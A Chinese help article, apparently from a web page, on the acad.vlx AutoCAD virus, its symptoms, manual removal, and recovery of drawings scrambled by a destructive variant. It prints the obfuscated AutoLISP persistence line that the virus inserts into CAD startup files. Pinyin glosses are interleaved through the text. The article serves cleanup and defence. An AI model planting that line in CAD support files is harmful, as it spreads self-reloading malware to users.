- A+
acad.vlx文件是AutoCAD軟件默認(rèn)自動(dòng)運(yùn)行的文件。每當(dāng)使用acad軟件打開(kāi)的圖紙所在目錄有該文件就會(huì)自動(dòng)執(zhí)行,曾為cad二次開(kāi)發(fā)軟件自動(dòng)加載的常用方式。當(dāng)文件存在于某些acad工作目錄或者cad程序目錄里面,cad軟件也會(huì)自動(dòng)加載。
現(xiàn)在除了極少部分二次開(kāi)發(fā)軟件使用外(比如說(shuō)上述CAD專殺工具中的KillCADVirus.VLX文件),基本都是CAD病毒表現(xiàn)形式。一般來(lái)說(shuō)該病毒會(huì)隨圖紙自動(dòng)執(zhí)行并且感染acad軟件和二次開(kāi)發(fā)軟件,甚至導(dǎo)致圖紙信息被破壞,后果比較嚴(yán)重。
acad.vlx病毒表現(xiàn)及手工殺除詳解
1.當(dāng)中毒后不能使用圖層和標(biāo)注命令.
2. 新建和打開(kāi)圖檔會(huì)自動(dòng)生成一個(gè)acad.vlx的文件.
3 當(dāng)新建一個(gè)圖檔時(shí).可以用標(biāo)注命令和圖層.但是當(dāng)關(guān)閉后在打開(kāi)圖檔則不能使用圖層和標(biāo)注命令.
處理方法:
1 仔細(xì)搜索查看CAD安裝目錄后我發(fā)現(xiàn),Express目錄的acetauto.lsp文件和Support目錄的ai_utils.lsp文
件都被修改了。同時(shí)Help目錄內(nèi)也多出了一個(gè)logo.gif文件,仔細(xì)查看它的字節(jié)大小,確定它就是這個(gè)
acad.vlx文件的副本。
2.打開(kāi)acetauto.lsp和ai_utils.lsp文件,跟我備份的原文件對(duì)比后發(fā)現(xiàn),它們都被添加了一行代碼:
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list-
>string'(97 99 97 100 46 118 108 120)))
這句代碼的意思就是搜索CAD支持路徑下是否有l(wèi)ogo.gif文件,如有,則復(fù)制logo.gif文件到CAD支持路
徑并重命名為acad.vlx。這就是為什么全盤(pán)搜索acad.vlx刪除后,打開(kāi)CAD后又會(huì)全新生成這個(gè)acad.vlx文件的原因了。
3 關(guān)閉CAD,全盤(pán)搜索acad.vlx刪除,再將CAD的Help目錄內(nèi)的logo.gif文件刪除即可。
一個(gè)有破壞性的acad.vlx文件說(shuō)明
如果你打開(kāi)CAD圖紙,發(fā)現(xiàn)圖紙上只有一句英文:MUST re_cover!,以前畫(huà)的圖全沒(méi)有了!
這時(shí),你不要驚慌。關(guān)閉CAD后,全盤(pán)搜索acad.vlx,將其中的一個(gè)acad.vlx文件改名為a.vlx留用,然后把搜索到的acad.vlx全部刪除。
重新啟動(dòng)CAD,打開(kāi)那個(gè)被破壞的圖形文件,在“工具”菜單下“加載應(yīng)用程序”,選擇加載備份的a.vlx文件,在命令行輸入re_cover就可以恢復(fù)被打亂隱藏的圖紙了。
所有被破壞的文件修復(fù)后,關(guān)閉CAD,再全盤(pán)搜索acad.vlx一次,將搜索到的acad.vlx全部刪除

